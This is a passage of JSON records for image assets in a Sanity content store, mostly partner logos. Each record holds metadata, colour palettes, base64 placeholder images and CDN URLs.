to1LR7e6ZlQ7B2Qi0FHIytti8Xz8VmfPV6vomkm5c9ht8AgXrCblsxkTMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#241e24","foreground":"#fff","population":11.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#241e24","foreground":"#fff","population":11.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_LifeLine.png","path":"images/sczeoy4w/production/ebd332b72fdd03c89b7bc70067a2a9bf1d87a482-272x230.png","sha1hash":"ebd332b72fdd03c89b7bc70067a2a9bf1d87a482","size":1344,"uploadId":"H5Ywv0pGjRun2q3teSNkRz0WK1eDlOig","url":"https://cdn.sanity.io/images/sczeoy4w/production/ebd332b72fdd03c89b7bc70067a2a9bf1d87a482-272x230.png"} {"_createdAt":"2022-06-16T22:53:46Z","_id":"image-5158677bdcba26d846bc8b5191ba7afb81d72749-1250x833-png","_rev":"0HOthdQkSgJdYc0C9vxU6e","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:46Z","assetId":"5158677bdcba26d846bc8b5191ba7afb81d72749","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VB9R]sof00R%*FxbbYS0i~eY0JbF~EV[O8OksEr{SvbF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5006002400960383,"height":833,"width":1250},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAADaklEQVQ4jW2TW0xTdxjAv15sbaXl1paItZmjMuzKwF7oOT29t0ALwiBrYxVwp8QOyCo1bRfbIlhbaIWKZkvoEiEmw6R70cQ96MtizBSZGw/uhh5ctNE94Ix72x7M1vNfcI6kY7+n70u+/PLluwC8RigUwhtrEii/zwb5LSlw7gIDvgYGfAXM8mscZmO+ntmUUzAbZxuYquQ7DLW/GeS790Jg93EgenHgcjlQAovFgncft4NnvQtc31u3eR52vzn4qM8WfDLSMfSUdHUVWl32gr7DXiDaHE+Ixrbnxh37JuRg/FYLXcgG/wv56BD4qSNAPvOWxdbDfTO/Tn6RXU8vBwsjS84fLUv6FdUd7Nb+G5qrjZPKM/XK7cBjIYRA5t4FFRUVWzucRgl4iu4DntLWBr/8MJleSa6fXI6i/mvev6x5oqif1xaN5/CX5hixgnl0PvkeeXn3vh4g2vQgEApKhRszfA37bZPC0BPqvuLLvP9HX8KLPPH36COn+tHw6SE6nAqh8MnQM/IomTQQhp2xj2IwPDIMZYKyUqFUKv035LV3tB/2B47eC54I0oFQgA4cD9BT6Sl6/sJ8cfGzRZTL5V5ET0QzLper9uzsLKRSqa3ChoYG0Gg0IBaL+QMDA2Q4FF4dGxtDqWSKjsfidHYmiy4tXqLz+Tyam5t7EYlEMg6Ho3Z8fBzi8fhWoUKhABzHQSKR8H0+HxmLxlYTiQSanpmm09NT9JlzGTr7abY4OTeJIqnIL17SG29qapI4W53Q6+4FgeA/M6yrqwMxWwJcFpfn9roPjo4dWxnNHCsOz36ABj8m6f7cIdq90IMOXHT+6Thvua31q3tFQjGPDRyo1+8FYfnmDv6hpqZmcylYp07VNmE/71gwU5bL+t9N13VF480W2nBH85K4qyngt1Vn1VeU9RvFp1AQZKO1UFlZWSrk8/kQRf5Xscyza0fzokKNLTUHie/UnxtXtfdMlHbVvNZy3fIzdtpe0Jtczy1lOydEoFlWwhDqh+rq6lIhl8sF81UMZG/JXuWD6CC78zebyPGY0Nge4oetFOazPsAs1p8wqekb3XbVgpLBEW8DD+oEiUu09bCrqqqgJa0CWasURFADGx8QRoOw/xMlw/oDzrU90PPsFMEyUGqwUBjYKQLMlA5MlBaca5ZN0d/HNizArv06jwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#476837","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5b0c","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5b0c","foreground":"#fff","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c6b5","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccfcac","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26e614","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Color_Logos_Same_Sheet2.png","path":"images/sczeoy4w/production/5158677bdcba26d846bc8b5191ba7afb81d72749-1250x833.png","sha1hash":"5158677bdcba26d846bc8b5191ba7afb81d72749","size":170526,"uploadId":"HoaPKj739LUBhfbS2jaWlqu0JcTBWeL7","url":"https://cdn.sanity.io/images/sczeoy4w/production/5158677bdcba26d846bc8b5191ba7afb81d72749-1250x833.png"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd-98x27-svg","_rev":"qkpX9b3U0TpOGFQp8fNwAM","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DYGJNA7j9gRQn30D?C-NnNVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6296296296296298,"height":27,"width":98},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB1UlEQVQYlS3PTUhUYRTG8XPFItJ877RwkqxG73t1JjONoQ9nYiKiHEhI6csQFwNWRh+7FmFJUVArq020CSKCCqLNnFfHReGot86MRhFFQ3OuQi3cBbpJ30Fv3HLxXzybHzwgFYFEKpdIOyXSgER6LpFu2UjNO4az5YnRtAHPPDDezAG8/g1Q58GV8XvwdKoXvJl1sMgB0GyCZvEvH/PbIpHOS6Q7EmlQYu62hbkeC/MxC3Mt9Zi36nCqZlt6OhhKTwdr0582wEuvbOJLArx5gJWZKii5/1Efq5BIRyXSY4l0VyL1N6gPFyNqsjesnO5G9T4VVk4qopwz29XEsabh8f17MqO1N51ra72fUDZbaDS0GzBKbBqaheGDrf5VG+mVxNzViJpsP/XuSWyILkdvONejfWMPD/Vnh3rOjj1IncvePz7oDMQzn5P2QrF6s2ZRs8TmJs3CL6hZmD7YLJEu2UiPLMxf2DXyNvbi4+noEptxz12/e6FYvW+uEOqY/d7Q+atgtc//CB7ULBKaxV7Nok2z8PdhzSKuWYR8cI1EarGR+uoxf7ItMxL++q216U9xY3KRA8kSiyPLbmVyxa3oWHYru0pcdUKz6NIsDqzWqVl0r6Jb/wIvKusOKOb2ZAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#482c28","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#775d0d","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6c07b","foreground":"#000","population":0.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c07b","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2d454","foreground":"#000","population":0.57,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#619fab","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#20bddd","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"eurostar.svg","path":"images/sczeoy4w/production/a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd-98x27.svg","sha1hash":"a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd","size":6702,"uploadId":"U0zxcvWeyGJQuoPmlriqCfyZvzzNFdu8","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd-98x27.svg"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-92a744582a891fb097db8c1f8350138871699439-120x120-png","_rev":"qkpX9b3U0TpOGFQp8fO2H2","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"92a744582a891fb097db8c1f8350138871699439","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"epNm.*of~qofofRjj[ofayof~qayD%j[M{%Mj[ayayM{t7j[M{WBxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":120,"width":120},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsSAAALEgHS3X78AAACn0lEQVQ4jZWUXUsbQRSG8x8yu5NE3XxozGoqVIitUGmiEjQEvxoaRCqVgmmKvZD+BAliL6xUrEFQTBXLrrj21oK9ECT1StDeqCWbRY1bNx+zmfyBEscmuo0tfZmbGc4zc86cd0aXv1vqlf4SoKu4ijEu3BC+0r9hEpROp8/Pz5PJpCiKp6enl5eXFVPQaeayLO/v728Kwtzs7GQkEpmYeDc9/Wlt7Vs8fnZ2ptmiDKuqKknSpiC8GR/v7upyNTc7WbbR4bjf1NTudr8cHV1dWTk+PkYIlUq4hjHGqVRqnecHg0HWbjdBCAGg9Xpar4cAGGm61mrt8fuXFhelZFILI4T29vZehcN2mw0CYKAozYAAWBjm2dDQ1+3tbDZL+CKMMVYUhee4To/HSNMkutpobHQ47jU0MFVVBooqrgPw0OVaiEZTqRTGWFVVnaqqhULh4uJiIRp94HLBqzgIQJ3VOtDbOxgMOlmWZE7r9U6WnYxEkqJYhnGh8FOWl5eWHrW2kkMgADazudvr7evpaaivL8FNTufbqSlJkq5hknY2m/2ytfU0EKgxmUjNJghtZnOtxVJlMFynTVGP29pWYjFZlssw0Y+Tk/czMx1ut6WmxgQhuSSyESHtNls4FIrH4wih233GOJfLHR4cROfnnw8Pt7a0mKurjTRNhoGirAzzpL+f5zhyW1qTYIwRQqIobgrCi5ER1m4v9anWYhno64stLycSiZsmu2XPTCbz/fDww9yc3+ezMgyp3FFXFwwEPsZiGlJrz0QiwXPc67Exv8/X2d7e4fF0eb3hUGhtdfXo6OimMSt7e2dnR9jY4DlunS/qsyDs7u6KoqgoSrGpd8H5fD6XyynptJIuK5PJIITu+hVuweTR49+vv6Q/sQrw/+oXKLIvfGLZlbIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444443","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0804","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf9f8","foreground":"#000","population":0.94,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b4b4","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf9f8","foreground":"#000","population":0.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf7f3f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-point-9.png","path":"images/sczeoy4w/production/92a744582a891fb097db8c1f8350138871699439-120x120.png","sha1hash":"92a744582a891fb097db8c1f8350138871699439","size":1027,"uploadId":"YLbbI7bub6w7DxoTe9lTZAV5qKfQWk19","url":"https://cdn.sanity.io/images/sczeoy4w/production/92a744582a891fb097db8c1f8350138871699439-120x120.png"} {"_createdAt":"2022-06-16T22:53:50Z","_id":"image-747e0ef6ecec8ca97e653fdcbe27b1b2484147d4-60x59-svg","_rev":"qkpX9b3U0TpOGFQp8fNy2s","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:50Z","assetId":"747e0ef6ecec8ca97e653fdcbe27b1b2484147d4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e1FUyrE}1a=01b[tJRa#FbFc1aAW1bOD1v$iAXwwWBww1bR*1vFcNu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0169491525423728,"height":59,"width":60},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADSklEQVQ4jU1UaWhdZRT80lq0wYUUJXlz5+aPuECpghapCK30hwvqDzVqbBWRVJQKFkTbtJioCYWSvrmp+1aqrU00XVARjaBQXFDbGsRdoSqtuBCxaIjVtFnKuW+i+XG477vfu3POzJlz0qvzF6cqslTNmKrNzUkVzhY4T+D5Aq8VuFLg/QLvE3iHwCsEni2wQWCzwIsFLhBYryxPSWBazlmpqOR1Ak810G0CJXC3wHcFfizwI4HvCOwX2C3wVoFXOenSMkEAFmSqggF2usDLBG4QuEfgQYF/CfxX4FHHEYGHBX4l8AmBLQKvFrjYxdQqNMW4eE7gNwJHBU4oy6eK/2MyngLHBX4mcI3AGwSuEnilwFOqqFE+yRmeFHhA4Jg/nizASTnit88HLcdNAnsFvi2wU+C5qnBWAJ4lsF3gpwL/KZD/B1IDqoGrfJ8PC3xeYKvAhwR+awneErg8dAzA6wXuEPhHSXMG2IyI978J7BO4zDT3WtdxgT+66gsCsEvgJwKPFRlnajY1fRb4p7sbWl0j8LXQeVpb1ZoX71oDcKu7NuJmjLqb0d2xSCTwS4F323PrBf4kMBJNOOGYbbUuAF8QOCjwA4Ef+mKfwCGBXztZnwE7fX9EWQk4ZcBI+oXAarKfNgvcJnC7o9+67hT4WGS2PwecOJrxq8C/VaM84cS9AbjRgC/NiPjwRdO7S+CD7u52SxQVvyLwPTdkxH3oDsAOj9iQDbtf4OsCHxZ4s8DVTrLLYJH8aTN7XOAWezHu70ye2wD8WeAvAt+3VktskTcEfud5ftPVR7WPml2XJbk3vgnACw0w4D/d4m2ywOdh+y2s8YPn/GWBz5rFWoH3eFEgAE8TeKkNHpumXuBcn8O842Uns9Lgx8xk0KPaLrBN4O1haoFzUlEpN02TwIUC51fBkwU2CnyglCDsEZ202WM8rVmHrdQicFEsmE15ntLGxiyqnCOQAi9ylfF8RODvHr0Yr4gw+/cCn3FlN9rs8wpkdS1t1RSLNW1iucJOcKXnCbzcSzQaFLoFzUN2QKy42NyxO+O/DUWW1xV5Xq7C6X2YepqyVKDc2kH5HIHXGTQcEH4Lmk8JXCHwEjM6seeMpvT5meHnLPU0IB0Hq3YT1HjZaaMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3432","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#810415","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3432","foreground":"#fff","population":0.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#88101f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08895","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88101f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a41426","foreground":"#fff","population":0.51,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"stanford-ssi.svg","path":"images/sczeoy4w/production/747e0ef6ecec8ca97e653fdcbe27b1b2484147d4-60x59.svg","sha1hash":"747e0ef6ecec8ca97e653fdcbe27b1b2484147d4","size":28439,"uploadId":"E0aDGtEbHkKqKWnJ1ONUlopYUIaF0RqT","url":"https://cdn.sanity.io/images/sczeoy4w/production/747e0ef6ecec8ca97e653fdcbe27b1b2484147d4-60x59.svg"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-fd14ea541c60dbb70ade91089f5ce93cddd09cb7-74x74-png","_rev":"0HOthdQkSgJdYc0C9vxWlw","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"fd14ea541c60dbb70ade91089f5ce93cddd09cb7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5CGS-=M00E{Iq00i{^*tQ?v00AB~q#qI.-ok;9uRPaK8_$+XRJ6-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":74,"width":74},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFY0lEQVQ4jZWSeUyTdxzGnxZERDYVsYLDgcqhYxt14z60WhUlMkVFB+Xl7REBuYR5TEimc0ZRiHJPNmK8uNqieHKspe/bt317cSgSddG6mbgYXcySZYvSt8YurX/tD5PtSZ48+f7yy+f3/JIv8A4F6jjM1TnxsdGBCAOHSIMTQpMTgZQTAsqJ/604M4dYM4e1Iw6IbBzP7fWjTs95vOU/AouLBzzeu1eLaPoVooxOpFgcXnFmbla8mZu1wsZ5RRk4fMpyaHryBCceP/b4nZox4yS8veuwbFk7wusfYtkvLiSbprzjTA5BvJkTrLBy3otpF2KtfyD77l0k3r6N1ImJf0OcmefhyO4At+UiXDs6kLe0DYmx5xCJ/YiuNEM05uQls1PTU0xT01dZON6q0adQPLKAuHcP661WZF25gqwbN7Dt5k1svHYNeBNVDy6uBa+FTXD5lyMj7SKyNl/ibdig8nV7+9pOXth3dxE7+AxVv9l55Xa7b4Xd7rvv0SOe4v59ICUFwp4exKlUiOroAN4ktYETt8Mp+hE30s4gOukCMjPV3ulruwXpa7oF63Kv+yScuuUTW8n67GTvTyu1PxSUPHgg+Mpu995pt2OjToeVly9D3NeHJLUacMbUYyql1cuR0Oz/Mr7ZzyU6xhPu6OGL0pXvicTd/pnF/b6ig8b5aQfZ+du6xn0rf7X7l/780P/Q02f8sKYmXrxS6ZegVPqnqlRews5OgBPWYyq11ceR2BzkjGsOdEV080+ZzuFOzJ5ppthq34Y17bOlZQMhq8+MLkww3Z2dMknPSLJe88n4y4aELiU/vqcnMFGpDEpTqXyWu4GO+Ca8XH2a70j73u93caNfc1Wt9zn519NHxKXzGfG+0AuiI4vbvji8dM+J9qj0oZ8WrdRdCk2muwKXj1zxyq25jFS1yneFWu23ureXn9DdDfwJATJ35oBctRllZWV+hcW7Ikp3FiZ+k1eQcTivZMN3OUWi3nVZKZc2bf28eP++uO3HDqVm/VAX8tnfkzy4XFC/uvd2XYKD32auy4XsrK3YlL0FhQWFc+Ry+VYpSdaRecR5KSltLJJKy2u2b990MitLXEAQXxIyGSktLPgwZ/1GJIdFAAfK3AsMhIa+BbpO3wKZT2Jb9jbs2rVrJkmSOZI8yWBObu7DXImEJknyWwVJFsgIQk4QRDmRl1cpI8lIl8uFgqJC3munC5d0OmjGxjBw5w5w/PhxNwjV1dWoqqryys/PF0skki6JRGKSSCR9+fn5pfkkWZTnhhHEboIgjrh/UVJSsqSiosJvbkAAQkJCIBQK4X4EtbW1aGhowIEDB/DixQvI5fIlJEkSMpmsTCqVyhUKRapCoRDLZLIMuUyWKZPJKhUKRUlRUdHK3bt3zxaLxZBIJHj+/PlboEqlAkVRvOHhYT+9Xh/Q29u7oLW1Nby+vj6isbEx/OzZs4va29vD29rawltaWiJqampijx49mlRXV7e0q6srwGAwvM8wzEyWZfmTk5NAT08PtFqt99DQULBWq402Go2fjI2NRU5MTIRZrdZwmqZjGIaJMZlMH7Esu9Rms0VardZler0+kqKoMJqmI2maDmEYZtro6CigVCqh0Wj4AwMDszQazQKDwfCBxWIJstls81iWFeh0uhCdTreQYZgFDMMEsSw732g0BlMUFURR1DyapoNpmp5D07SX2WwGrl696m6IwcFBnlar5bur22w2/sjIiMcGg4FPURTfaDTyTSYT32KxeOye9Xo9n2EYd/Jomsbw8DDQ2dmJvr4+qNVqD5yiKFgsFoyPj3tyaGgI/f39nstuGwwGuJvodDrP7E6NRuMuhOvXr+Mf/YWNd0WW/Q0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344a49","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c6c4c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#344a49","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b4b4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94e4cd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4cac84","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2cb48c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_WiL.png","path":"images/sczeoy4w/production/fd14ea541c60dbb70ade91089f5ce93cddd09cb7-74x74.png","sha1hash":"fd14ea541c60dbb70ade91089f5ce93cddd09cb7","size":3740,"uploadId":"bjKscJKcJllK7NYJRvg2owNOnWSMPBdr","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd14ea541c60dbb70ade91089f5ce93cddd09cb7-74x74.png"} {"_createdAt":"2022-06-16T22:54:02Z","_id":"image-b887ed766ca23eca21bfb3ad5fff03fecb074461-57x47-png","_rev":"qkpX9b3U0TpOGFQp8fNzX7","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:02Z","assetId":"b887ed766ca23eca21bfb3ad5fff03fecb074461","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e2CZbED%00t700Rjxu?bIUR*00j[_3%M?b00M{-;%M9F00ofxuM{_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2127659574468086,"height":47,"width":57},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAELUlEQVQ4jU2TbU8VRxTH5y5oraKtSklTUxWRgkq9d3dmZ3bneWfv7r0XgQtKbBFEtDXYgCLxoRGq0ihcMWhNrbZGE1+IiZhorDH2IbVRv4Hv67u27+xXsNm96cNJTv6TSeaX/5lzDvjlp5/B+Nhh8Pr1a3D71jwY6NsFQh1ksAMtmLMtZDtpYogsApHlOtDyMbEiE2Z29w+A+/fvg99evgTHjx4DPzx+DNLo6SqDzlI72FHuzjDPrycQQQKR8JDL/p/kH4VIEOS6ivOGPQO7rWIUg507equwWpABycXG9Y2gp7OrBkPkYogmueefUoyPKi4OScaOC59OCkonE6XEO0MgOkkxoYP9A7WbW1pBZ3t7FYhydqpJydsKxWUEooKP8QUj1WR7oVguxYW+UOkTgZCzRunpQMpKIFXFx2SWYtLR292zInm/pWVzagq8Xbc8hfXt/KhOC2l7yN1LiTcXSHWivVAobSuWeo3SE0aqL0OlJ7SQM3GY/4L7dIpi8mlsQjjQt2vFH3/+DpbULqq63Nnbu7RUKCBGvFGUs897Lv5Wc1GJTDhSigsHIhMeiUw4bJT+RHMxlQ/MaR+TOezAWUnZwVJcID1d5bpli5dUgUapdVrIYc/F15yt2buu7dwRPr2cQI3SU6HSk4FUhxXj45KyaUHZJdd25mE2t+Bjck0yPqK4aGpYtTqTAhXnTZKxw57r3kQ5+zbF5LpivCIpm1BcnE7K1FxMay5mFOMXJONfJSDXgbd8F9/knn+M+7Tl3fp3qsBiFK0MtY4oJhMEuRXFRSUO82NxGHYVo2hvbMKzRqq5UOlzRumZ2IQnNBenKCYz3KeTRqlSZEz9W8vqAHizdjE4duRopmtbR73wqSIQHeCefz4fBMeL+ajcUWofLEbxGcXFN5KyS4GQZ5I/TcaKEW8k1Dro7uxqOLB/v/VGTS0AG9auA03rG8H3Dx5k4jC/EjuwgyB0UVB2TnMxHhkzFof5zyVlU5R4Z4VPp5IkEM0y4m3fXu5e/fz5s7TUhlWrq00JhExnaGj3YA2BiMFs7jJ24AIj3g1B6VXh0yvc86+k6tPvCETzKGdf5Z4fjB8aW+RszabL8W/0f9yX6qtXfyUNanRtZ4JA9KOR6lE+MPcCIR+FSj8sRfGdQj66Jyh76Ln4lJGq+cWLF6m7fUNDVdizp0/B6ZMngWs7YO17a0ApjpNt6cQOvCwZu66FTJzdUFxciwLzdT4wVyRlFxnxypEJl69avgK0tW4ClekZ8OuTJ1XoZ8PDIAoMkIwlHbcIQmtgNsdQzjau7QQwmzPIdgyGSBOIAgIR9V38fiBkjYdcwD0fHBod/a/kgyMjwG77EAzs6gd7B/eAUlzIuI5jbWr+wGrd2Gy1tW5KzxvXN1rNG5qs7JY2K1Q6s2/PEFi4uwCWWsmkHElhfwPvY0SjjgY0AgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":7.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":7.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4b4d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbcbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4b4d","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#807e80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_LifeLine.png","path":"images/sczeoy4w/production/b887ed766ca23eca21bfb3ad5fff03fecb074461-57x47.png","sha1hash":"b887ed766ca23eca21bfb3ad5fff03fecb074461","size":3836,"uploadId":"eGT939Y2ZbxneqIcJE2c93R609sU1Erg","url":"https://cdn.sanity.io/images/sczeoy4w/production/b887ed766ca23eca21bfb3ad5fff03fecb074461-57x47.png"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-146adf05cad946669682c18c1e00cf96b0175844-80x80-png","_rev":"oamrAPLmQLQjd9jh7ZoGWA","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"146adf05cad946669682c18c1e00cf96b0175844","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEKUG#WC00fQ00offQa}j[WB00fP01oe^*M|j[ofayt700jt~oof-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":80,"width":80},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFJUlEQVQ4jVVUWW8bVRQ+LlmAJyi0UBbBP0BIgBA7DxXqCxUPZZFKK1UgxBtCIEppQmml8tCqe7qmK0qbNIkb2/F4Sex4bexkvIw9M57VM+MZ24mzNHvaqrkX3SmV6Eif7p1zzpz5vnPuuXBnSgKt5IP5RhJmJvJQynkAYwyaMGSv91bq6xZmlOb5Gbn5/kp9HbGZStj2iYwXJs1xUIvdwI79A3emRAC9RIGlBGC6lgHvjXaIeg7A4qzYVDfSG0w18UZFjn2mi5FtuhT9siLHtphK/M26kX5hrsE1Jzy74Oedb0PdGIUy1wvM6EWAMueBhjUG5Lm7VHHUjfQzhhR9T2aDv4iMr0sq+GJCnsoKDJUTGV9cYHzdMhv83ZCiH9cr6fX3lg0HYTtRGQVm9AJAw6Kh8/iPYJazjpqe2lguhbcJeeo6m3GrLO1aKuUHHwh5LyLgc561Iu1aZjNuvZSn+hRueLupJjZNT3AOQqhupAAqcggwjsB0Lfuspca/kop+H0u75/isB0lFHy7zQayVhhCBygcxsfE5D2Zp14KQp8KGHNkxXcs8H4uWQBeHABbvYjDVdHO1nPxQF8M9IkPNkw8ULoAMKYxMZeQxVOQwSYxKuUEsMN5FTQi5rHJ8c0W53To7KQOw406oKIkXNSG8R2YDeilvBxJ2RCbmMm5kI+tBXNaNiJ/4RIay93LRXy2Xhg8YUuxVOnYJ7PZb5cRbmhDqVbjACpGksH7EZz044ruMBm4cQ86uI/jW9aPYffMEivqv2D6i4GFs4K4mDA+aSuyD5YWKA2YbwhM1Lfm5